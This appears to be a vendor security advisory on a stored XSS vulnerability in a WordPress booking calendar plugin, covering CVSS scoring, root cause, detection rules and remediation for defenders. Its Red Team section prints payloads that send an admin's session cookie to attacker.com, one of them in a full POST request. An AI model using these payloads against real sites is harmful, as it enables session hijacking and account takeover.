CVE-2025-24723

Executive Summary

CVE-2025-24723 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Booking Calendar Contact Form by Codepeople, affecting versions from n/a through 1.2.55. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the plugin's pages. This stored XSS can lead to session hijacking, data theft, or defacement of the WordPress site. The CVSS score is 5.9 (Medium), and no public exploit or patch is currently available. The vulnerability is within the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's page for updates and verify the integrity of the plugin files using checksums provided by WordPress. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must visit a crafted page.
• Scope: Changed (S:C) – The impact may affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: Low (A:L) – Limited disruption.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS in a widely-used booking plugin elevates the risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in the Booking Calendar Contact Form plugin. The plugin fails to sanitize or escape user input when processing booking form fields (e.g., name, email, message). When an admin or user views the submitted data (e.g., in the admin dashboard or frontend), the injected script executes in the context of the victim's browser.

Attack Flow:

1. An attacker submits a booking request with malicious JavaScript in a form field (e.g., <script>alert('XSS')</script>).
2. The plugin stores the input without proper sanitization.
3. A victim (admin or visitor) views the booking entry.
4. The injected script executes, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Root Cause: The plugin uses functions like echo or print to output user data without applying WordPress's escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()).

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In vulnerable version (<= 1.2.55)
echo "<div class='booking-entry'>" . $user_input . "</div>";

Patched Code (Hypothetical):

// In a patched version
echo "<div class='booking-entry'>" . esc_html( $user_input ) . "</div>";

The patched version uses esc_html() to neutralize HTML and JavaScript, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Booking Calendar Contact Form <= 1.2.55 installed and activated.
• No authentication required for form submission.

Exploitation Steps:

1. Identify the booking form endpoint (e.g., /wp-admin/admin-ajax.php or a custom page).
2. Submit a POST request with malicious payload in a form field:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   
   action=booking_calendar_submit&name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&email=test@test.com&message=test
   

3. Wait for an admin to view the booking entry in the admin dashboard.
4. The script executes, exfiltrating the admin's session cookie to the attacker's server.

Payload Example:

// Stored XSS payload
<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team

Detection:

• Monitor for unusual form submissions containing script tags or event handlers.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review server logs for requests to /wp-admin/admin-ajax.php with suspicious parameters.

Hunting:

• Search the WordPress database for stored XSS payloads:

  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
  

• Check for unexpected outbound connections from the WordPress server.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Unusual POST requests to /wp-admin/admin-ajax.php with action=booking_calendar_submit.
• Host:
  • Presence of <script> tags in the wp_postmeta or wp_options table.
  • Modified plugin files (check file integrity via WordPress checksums).
• File:
  • Suspicious entries in the plugin's log files (if any).

Detection Engineering

YARA Rule

rule CVE_2025_24723_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Booking Calendar Contact Form"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24723"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Booking Calendar Contact Form
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via form submission
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-method: 'POST'
        cs-uri-query|contains: 'action=booking_calendar_submit'
        cs-uri-query|re: '(<script|<img|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in form fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24723 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=booking_calendar_submit"; http_client_body; pcre:"/(<script|<img|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Restrict access to the admin dashboard using IP whitelisting or VPN.

Long-term Fix:

• Apply the official patch from Codepeople when available.
• Update to the latest version of the plugin (if patched).
• Conduct a security audit of all WordPress plugins.

Workaround:

• Use a security plugin like Wordfence to add virtual patching.
• Manually sanitize input by modifying the plugin's code (not recommended for non-developers).

Valters IT
Securing Digital Frontiers